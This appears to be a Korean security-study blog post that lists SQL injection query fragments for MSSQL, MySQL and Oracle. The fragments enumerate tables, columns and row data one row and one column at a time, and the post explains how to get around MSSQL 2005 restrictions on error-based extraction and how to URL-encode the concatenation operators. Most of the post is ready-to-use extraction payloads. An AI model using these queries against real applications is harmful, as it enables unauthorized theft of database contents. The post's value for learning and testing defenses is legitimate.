정보보안공부
SQL Injection - DB별 단일행, 단일열 쿼리 본문
# 단일행 조회
@Mssql ( 2005 버전 이하 ) -> Top 사용
1) sys.objects , sys.columns를 이용한 단일행 조회
*** 테이블 1개씩 조회하기
#> select top 1 name from (select top 1 name from sys.objects where type='u' order by name)T order by name desc;
#> select top 1 name from (select top 1 name from sys.objects where type=0x55 order by name)T order by name desc;
=> n값을 1부터 증가시켜 첫번째 행부터 n번째 행까지 1개의 행씩 조회가 가능하다. Top n 으로 출력한 여러행을 다시 내림차순을 이용해 Top 1로 1개의 행을 조회하면 모든행이 1개씩 조회가 가능하다. ( type='u'와 0x55는 같은의미이다. ) rowidx=n 형태로 1개씩 n번째까지 조회가 가능하다.
2) information_schema를 이용한 단일행 조회
*** 테이블 1개씩 조회하기
#> select top 1 table_name from (select top n table_name from information_schema.tables where table_type='base table' order by table_name)T order by table_name desc;
=> n값을 1부터 증가시켜 첫번째 행부터 n번째 행까지 1개의 행씩 조회가 가능하다. Top n 으로 출력한 여러행을 다시 내림차순을 이용해 Top 1로 1개의 행을 조회하면 모든행이 1개씩 조회가 가능하다. rowidx=n 형태로 1개씩 n번째까지 조회가 가능하다.
@Mssql ( 2005 버전 이후 ) -> row_number() 사용
- 2005버전 부터 강화된 보안 기능으로 블라인드 공격 기법에서는 동일구조의 쿼리를 사용해도 문제가 없지만 Error 기반 SQL Injection에서는 데이터 획득에 제한이 발생한다. 해당 보안 기능을 우회하기 위해서 row_number() 함수를 사용한다.
1) sys.objects , sys.columns를 이용한 단일행 조회
*** 테이블 1개씩 조회하기
#> select name from (select row_number() over(order by name) as rowidx, name from sys.objects where type=0x55)T where rowidx=1;
=> row_number()을 서브쿼리도 작성하여 조회한 테이블 행의 번호가 rowidx라는 이름으로 지정되어 조건을 통해 단일행 조회가 가능하다. rowidx=n 형태로 1개씩 n번째까지 조회가 가능하다.
2) information_schema를 이용한 단일행 조회
*** 테이블 1개씩 조회하기
#> select table_name from (select row_number() over(order by table_name) as rowidx, table_name from information_schema.tables where table_type='base table')T where rowidx=1;
=> row_number()을 서브쿼리도 작성하여 조회한 테이블 행의 번호가 rowidx라는 이름으로 지정되어 조건을 통해 단일행 조회가 가능하다. rowidx=n 형태로 1개씩 n번째까지 조회가 가능하다.
@Mysql -> Limit 사용
1) information_schema를 이용한 단일행 조회
*** 테이블 1개씩 조회하기
#> select table_name from information_schema.tables where table_type='base table' limit 0,1;
=> limit 0,1을 이용해 0은 조회한 테이블의 첫번째 행을 의미하며 1은 1개의 행을 의미한다. 0부터 n까지 늘려가며 모든 행을 1개씩 조회가 가능하다.
@Oracle -> rownum 사용
1) user_tables ( tabs ) , user_tab_columns ( cols )를 이용한 단일행 조회
*** 테이블 1개씩 조회하기
#> select table_name from (select rownum as rowidx, table_name from user_tables)T where rowidx=1;
#> select table_name from (select rownum as rowidx, table_name from tabs)T where rowidx=1;
=> rownum을 서브쿼리도 작성하여 조회한 테이블 행의 번호가 rowidx라는 이름으로 지정되어 조건을 통해 단일행 조회가 가능하다. rowidx=n 형태로 1개씩 n번째까지 조회가 가능하다.
2) tab , col을 이용한 단일행 조회
*** 테이블 1개씩 조회하기
#> select tname from (select rownum as rowidx, tname from tab)T where rowidx=1;
=> rownum을 서브쿼리도 작성하여 조회한 테이블 행의 번호가 rowidx라는 이름으로 지정되어 조건을 통해 단일행 조회가 가능하다. rowidx=n 형태로 1개씩 n번째까지 조회가 가능하다.
# 단일열 조회
@Mssql - +(%2b)
1) sys.objects , sys.columns를 이용한 단일열 조회
*** Employees 테이블의 컬럼 1개씩 조회하기
#> select top 1 name from (select top 1 col.name from sys.objects obj, sys.columns col where obj.object_id = col.object_id and obj.name='Employees' order by col.name)T order by name desc;
=> n값을 1부터 증가시켜 첫번째 행부터 n번째 행까지 1개의 행씩 조회가 가능하다. Top n 으로 출력한 여러행을 다시 내림차순을 이용해 Top 1로 1개의 행을 조회하면 모든행이 1개씩 조회가 가능하다. 컬럼 조회 시 object_id 값을 통해 조회해야 하므로 sys.objects와 sys.columns를 join문으로 조회한다. rowidx=n 형태로 1개씩 n번째까지 조회가 가능하다.
*** Employees 테이블의 컬럼 1개씩 조회하기 - row_number() 사용
#> select name from (select row_number() over(order by col.name) as rowidx, col.name from sys.objects obj, sys.columns col where obj.object_id=col.object_id and obj.name='Employees')T where rowidx=1;
=> row_number()을 서브쿼리도 작성하여 조회한 컬럼 행의 번호가 rowidx라는 이름으로 지정되어 조건을 통해 단일행 조회가 가능하다. 컬럼 조회 시 object_id 값을 통해 조회해야 하므로 sys.objects와 sys.columns를 join문으로 조회한다. rowidx=n 형태로 1개씩 n번째까지 조회가 가능하다.
*** 단일행/단일열 조건을 만족하면서 해당 테이블의 여러 컬럼 한꺼번에 조회하기
#> select firstname+ ',' +lastname from (select row_number() over(order by employeeid) as rowidx, firstname, lastname from Employees)T where rowidx=1;
=> Employees 테이블의 firstname, lastname 2개의 컬럼 값은 문자열을 이어주는 + 연산자(%2b)를 이용해 조회한다.
=> 서브쿼리의 row_number()을 이용해 employeeid로 정렬 후 rowidx로 단일행 조건을 만족하며, concat_ws를 이용해 단일열 조건도 만족한 상태로 데이터 조회가 가능하다.
( employeeid 자리는 중복되지 않는 값으로 사용한다. )
2) information_schema를 이용한 단일열 조회
*** Employees 테이블의 컬럼 1개씩 조회하기
#> select top 1 column_name from (select top 1 column_name from information_schema.columns where table_name = 'Employees' order by column_name)T order by column_name desc;
=> n값을 1부터 증가시켜 첫번째 행부터 n번째 행까지 1개의 행씩 조회가 가능하다. Top n 으로 출력한 여러행을 다시 내림차순을 이용해 Top 1로 1개의 행을 조회하면 모든행이 1개씩 조회가 가능하다. rowidx=n 형태로 1개씩 n번째까지 조회가 가능하다.
*** Employees 테이블의 컬럼 1개씩 조회하기 - row_number() 사용
#> select column_name from (select row_number() over(order by column_name) as rowidx, column_name from information_schema.columns where table_name = 'Employees')T where rowidx=1;
=> row_number()을 서브쿼리도 작성하여 조회한 컬럼 행의 번호가 rowidx라는 이름으로 지정되어 조건을 통해 단일행 조회가 가능하다. rowidx=n 형태로 1개씩 n번째까지 조회가 가능하다.
*** 단일행/단일열 조건을 만족하면서 해당 테이블의 여러 컬럼 한꺼번에 조회하기
#> select concat_ws(',' ,firstname ,lastname) from (select row_number() over(order by employeeid) as rowidx, firstname, lastname from Employees)T where rowidx=1;
=> Employees 테이블의 firstname, lastname 2개의 컬럼 값은 문자열을 이어주는 concat_ws 연산자를 이용해 조회한다.
=> 서브쿼리의 row_number()을 이용해 employeeid로 정렬 후 rowidx로 단일행 조건을 만족하며, concat_ws를 이용해 단일열 조건도 만족한 상태로 데이터 조회가 가능하다.
( employeeid 자리는 중복되지 않는 값으로 사용한다. )
@Mysql - 공백,탭,개행
1) information_schema를 이용한 단일열 조회
*** Employees 테이블의 컬럼 1개씩 조회하기
#> select column_name from information_schema.columns where table_name='Employees' limit 0,1;
=> limit 0,1을 이용해 0은 조회한 컬럼의 첫번째 행을 의미하며 1은 1개의 행을 의미한다. 0부터 n까지 늘려가며 모든 행을 1개씩 조회가 가능하다.
*** 단일행/단일열 조건을 만족하면서 테이블(EMPLOYEES)의 여러 컬럼 한꺼번에 조회하기
#> select concat_ws(',', firstname, lastname) from Employees limit 0,1;
=> EMPLOYEES 테이블의 firstname, lastname 2개의 컬럼 값은 문자열을 이어주는 concat_ws를 이용해 조회한다.
=> limit를 이용해 단일행 조건을 만족하며, concat_ws를 이용해 단일열 조건도 만족한 상태로 데이터 조회가 가능하다.
@Oracle - ||(%7c%7c)
1) user_tables ( tabs ) , user_tab_columns ( cols )를 이용한 단일열 조회
*** Employees 테이블의 컬럼 1개씩 조회하기
#> select column_name from (select rownum as rowidx, column_name from user_tab_columns where table_name='EMPLOYEES')T where rowidx=1;
#> select column_name from (select rownum as rowidx, column_name from cols where table_name='EMPLOYEES')T where rowidx=1;
=> rownum을 서브쿼리도 작성하여 조회한 컬럼 행의 번호가 rowidx라는 이름으로 지정되어 조건을 통해 단일행 조회가 가능하다. rowidx=n 형태로 1개씩 n번째까지 조회가 가능하다.
*** 단일행/단일열 조건을 만족하면서 테이블(EMPLOYEES)의 여러 컬럼 한꺼번에 조회하기
#> select first_name || ',' || last_name from (select rownum as rowidx, first_name,last_name from EMPLOYEES) where rowidx=1;
=> EMPLOYEES 테이블의 first_name, last_name 2개의 컬럼 값은 문자열을 이어주는 || 연산자를 이용해 조회한다.
=> 서브쿼리의 rownum을 이용해 rowidx로 단일행 조건을 만족하며, || 연산자를 이용해 단일열 조건도 만족한 상태로 데이터 조회가 가능하다.
2) tab , col을 이용한 단일열 조회
*** Employees 테이블의 컬럼 1개씩 조회하기
#> select cname from (select rownum as rowidx, cname from col where tname='EMPLOYEES')T where rowidx=1;
=> rownum을 서브쿼리도 작성하여 조회한 컬럼 행의 번호가 rowidx라는 이름으로 지정되어 조건을 통해 단일행 조회가 가능하다. rowidx=n 형태로 1개씩 n번째까지 조회가 가능하다.
*** 단일행/단일열 조건을 만족하면서 테이블(EMPLOYEES)의 여러 컬럼 한꺼번에 조회하기
#> select first_name || ',' || last_name from (select rownum as rowidx, first_name,last_name from EMPLOYEES) where rowidx=1;
=> EMPLOYEES 테이블의 first_name, last_name 2개의 컬럼 값은 문자열을 이어주는 || 연산자를 이용해 조회한다.
=> 서브쿼리의 rownum을 이용해 rowidx로 단일행 조건을 만족하며, || 연산자를 이용해 단일열 조건도 만족한 상태로 데이터 조회가 가능하다.
'Web' 카테고리의 다른 글
Web - 파일업로드(APM 환경) (0) | 2019.10.21 |
---|---|
SQL Injection - DB별 표현식 정리 (0) | 2019.10.01 |
SQL Injection - Error-Based Sql Injection (0) | 2019.09.22 |
SQL Injection - Blind Sql Injection (0) | 2019.09.22 |
SQL Injection - Union Sql Injection (0) | 2019.09.20 |